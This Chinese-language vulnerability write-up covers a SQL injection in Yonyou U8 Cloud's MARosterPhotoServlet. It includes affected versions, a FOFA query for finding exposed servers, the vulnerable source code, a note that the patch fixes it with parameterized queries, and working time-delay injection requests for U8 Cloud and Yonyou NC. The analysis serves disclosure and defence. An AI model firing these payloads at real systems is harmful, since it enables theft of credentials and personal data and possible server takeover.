用友U8 Cloud MARosterPhotoServlet SQL注入漏洞


漏洞简介

用友U8 Cloud MARosterPhotoServlet 接口处存在SQL注入漏洞,未经身份验证的远程攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。

影响版本

1.0,2.0,2.1,2.3,2.5,2.6,2.65,2.7,3.0,3.1,3.2,3.5,3.6,3.6sp,5.0,5.0sp

fofa语法

app="用友-U8-Cloud"

漏洞分析

本来是根据官方漏洞通告可知SQL注入点在 MARosterPhotoServlet 接口

直接看 MARosterPhotoServlet 的实现

package com.yonyou.ma.roster.servlet;

import com.yonyou.ma.roster.module.RosterPhoto;
import java.io.IOException;
import java.io.UnsupportedEncodingException;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import nc.bcmanage.bs.IBusiCenterManageService;
import nc.bcmanage.vo.BusiCenterVO;
import nc.bs.dao.BaseDAO;
import nc.bs.framework.adaptor.IHttpServletAdaptor;
import nc.bs.framework.common.InvocationInfoProxy;
import nc.bs.framework.common.NCLocator;
import nc.bs.framework.comn.NetStreamContext;
import nc.bs.framework.server.ISecurityTokenCallback;
import nc.bs.logging.Logger;
import nc.bs.uap.lock.PKLock;
import nc.jdbc.framework.processor.BeanProcessor;
import nc.jdbc.framework.processor.ResultSetProcessor;
import nc.login.bs.LoginVerifyBean;
import nc.vo.pub.BusinessException;

public class MARosterPhotoServlet
extends HttpServlet
implements IHttpServletAdaptor {
    private static final long serialVersionUID = 1L;

    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        this.doAction(req, resp);
    }

    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        this.doAction(req, resp);
    }

    public void doAction(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        String photoId = request.getHeader("photoId");
        String type = request.getHeader("type");
        if (photoId != null) {
            try {
                String accountcode = request.getHeader("accountcode");
                if (accountcode != null && !accountcode.trim().equals("")) {
                    IBusiCenterManageService bcservice = (IBusiCenterManageService)NCLocator.getInstance().lookup(IBusiCenterManageService.class);
                    BusiCenterVO centervo = bcservice.getBusiCenterByCode(accountcode);
                    InvocationInfoProxy.getInstance().setUserDataSource(centervo.getDataSourceName());
                }
                BaseDAO dao = new BaseDAO();
                if (type.equals("pid")) {
                    String sql = "select bd_psndoc.photo, sm_user.cuserid userid from bd_psndoc  left join sm_user on sm_user.pk_psndoc = bd_psndoc.pk_psndoc  where bd_psndoc.pk_psndoc = '" + photoId + "'";
                    RosterPhoto rosterPhoto = (RosterPhoto)dao.executeQuery(sql, (ResultSetProcessor)new BeanProcessor(RosterPhoto.class));
                    if (rosterPhoto.getUserid() != null && !"".equals(rosterPhoto.getUserid().trim())) {
                        response.setHeader("uid", rosterPhoto.getUserid());
                    }
                    response.getOutputStream().write(rosterPhoto.getPhoto() == null ? "".getBytes() : rosterPhoto.getPhoto());
                } else {
                    String getpidsql = "select t.photo photo, u.cuserid userid from sm_user u  left join  bd_psndoc t on t.pk_psndoc = u.pk_psndoc where u.cuserid = '" + photoId + "'";
                    RosterPhoto rosterPhoto = (RosterPhoto)dao.executeQuery(getpidsql, (ResultSetProcessor)new BeanProcessor(RosterPhoto.class));
                    if (rosterPhoto.getUserid() != null && !"".equals(rosterPhoto.getUserid().trim())) {
                        response.setHeader("uid", rosterPhoto.getUserid());
                    }
                    response.getOutputStream().write(rosterPhoto.getPhoto() == null ? "".getBytes() : rosterPhoto.getPhoto());
                }
            }
            catch (Exception e) {
                e.printStackTrace();
            }
        }
    }

通过 header 获取 photoId 和 type ,当 photoId 不等于null时,进入处理逻辑,无论 type 是否等于 pid 都会将 photoId 直接拼接进SQL语句中执行,造成SQL注入漏洞。

调试也可以看到SQL语句传入直接拼接到SQL语句中,最终调用 (RosterPhoto)dao.executeQuery 执行拼接后的SQL语句,造成SQL注入漏洞。

根据补丁对比查看可知,修复方式是参数化+预编译处理来预防SQL注入漏洞。

漏洞复现

漏洞利用示例

GET /servlet/~uap/com.yonyou.ma.roster.servlet.MARosterPhotoServlet?pageId=login HTTP/1.0
Host: u8cloud.mrxn.net
accountcode: U8cloud
type: pid
photoId: 1';waitfor delay'0:0:4'-- Alks

成功延时 4 秒

这个漏洞其实还影响用友NC系列

GET /servlet/~pubapp/com.yonyou.ma.roster.servlet.MARosterPhotoServlet HTTP/1.0
Host: nc.mrxn.net
accountcode: U8cloud
type: pid
photoId: 1';waitfor delay'0:0:4'-- Alks

参考

  • https://security.yonyou.com/#/noticeInfo?id=398

手机扫码阅读

Synway SMG网关管理软件 9-12ping.php 远程代码执行漏洞(CVE-2025-1448)

用友NC rmwebImage/download sql注入漏洞

评 论